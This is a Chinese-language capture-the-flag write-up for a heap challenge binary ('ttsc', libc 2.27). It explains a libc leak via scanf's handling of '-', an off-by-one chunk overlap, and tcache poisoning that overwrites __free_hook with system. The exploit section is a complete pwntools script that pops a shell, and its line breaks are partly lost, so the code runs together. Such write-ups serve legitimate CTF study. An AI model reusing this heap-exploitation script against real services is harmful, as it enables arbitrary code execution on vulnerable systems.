文章目录
- setcbuf
- 泄露栈地址
- 转换
- scanf
- 栈地址
- 思路
- exp
setcbuf
代码 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 是用来设置标准输入、标准输出和标准错误流的缓冲模式的。
setvbuf 函数的原型如下:
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
该函数用于设置 stream 所指向的文件流的缓冲区,以及缓冲方式和缓冲区的大小。
- stream:要设置缓冲区的文件流,如stdin, stdout, stderr等。
- buffer:缓冲区的地址,设置为0LL表示完全不使用缓冲区。
- mode:缓冲方式,可以是以下常量之一:
- _IOFBF:完全缓冲 (full buffering)
- _IOLBF:行缓冲 (line buffering)
- _IONBF:无缓冲 (no buffering)
- size:缓冲区的大小。
在给定的代码中,setvbuf(stdin, 0LL, 2, 0LL); 意味着关闭了stdin的缓冲机制,即从stdin读取的输入不会被缓冲,而是直接从终端获取。
同样地,setvbuf(stdout, 0LL, 2, 0LL); 和 setvbuf(stderr, 0LL, 2, 0LL); 则分别用于关闭stdout和stderr的缓冲机制,从而输出将立即显示在终端上,而不会被缓冲。
泄露栈地址
name[3] = __readfsqword(0x28u);name[0] = 0LL;name[1] = 0LL;read(0, name, 0x10uLL);printf("name: %sage: %d\nhigh: %d\n", (const char *)name, (unsigned int)age, HIDWORD(age));// name泄露栈地址
转换
*(_QWORD *)(8LL * index + chunk_70_1_addr[0])
chunk_70_1_addr[index]
scanf
注意scanf的参数是栈顶的第一个元素的位置,如果此时输入-
,scanf将不会写任何数据到scanf的第一个参数的位置,但同时会认为任务接收完成
由于此时栈顶的值为io_files_jump的地址,且最后会将栈顶元素的值赋值给要printf的参数,最后可以泄露libc基地址
栈地址
栈地址和libc基地址和heap基地址之间都没有固定偏移
思路
- 利用scanf的参数和最后printf输出的参数的相关联系以及scanf遇到-的特性泄露libc基地址
- 分配四个堆,大小都为0x18,第一个堆offbyone写第二个堆的size使得能够覆盖到后面两个堆
- free将三个堆都free掉
- malloc得到大堆,并同时修改后面堆的数据
- 修改第三个堆的fd为free_hook的地址(在tcachebin的起始位置 先进后出)
- malloc两次,并修改_free_hook的内容为system
- free(第二个堆块)(第二个堆块malloc构造/bin/sh即可以)
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./ttsc")
gdb.attach(p,"b main")
libc=ELF("./libc-2.27.so")def cmd(ch):p.sendlineafter(b"chs:",str(ch).encode())
def add(idx, size, content): cmd(1) p.sendlineafter(b"index?\n", str(idx).encode()) p.sendlineafter(b"size:\n", str(size).encode()) sleep(0.1) p.send(content)
def free(idx): cmd(2) p.sendlineafter(b"index?\n", str(idx).encode())
def edit(idx, content): cmd(3) p.sendlineafter(b"index?\n", str(idx).encode()) p.sendafter(b"content:", content)
if __name__=="__main__":p.sendlineafter("what is your name?\n", b" ") p.sendlineafter("age?\n", b"-") p.sendlineafter("high?\n", b"-") p.recvuntil(b"age: ") lo = int(p.recvuntil(b"\n", drop=True), 10) p.recvuntil(b"high: ")hi = int(p.recvuntil(b"\n", drop=True), 10) _IO_file_jumps = (hi << 32) | lo libc_base = _IO_file_jumps - libc.sym["_IO_file_jumps"] add(0,0x18,"0")add(1,0x18,"0")add(2,0x18,"0")add(3,0x18,"0")edit(0,b"a"*0x18+b"\x71")free(1)free(2)free(3)add(1,0x68,b"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(libc_base+libc.sym.__free_hook))add(2,0x18,b"/bin/sh\x00")add(3,0x18,p64(libc_base+libc.sym.system))free(2)p.interactive()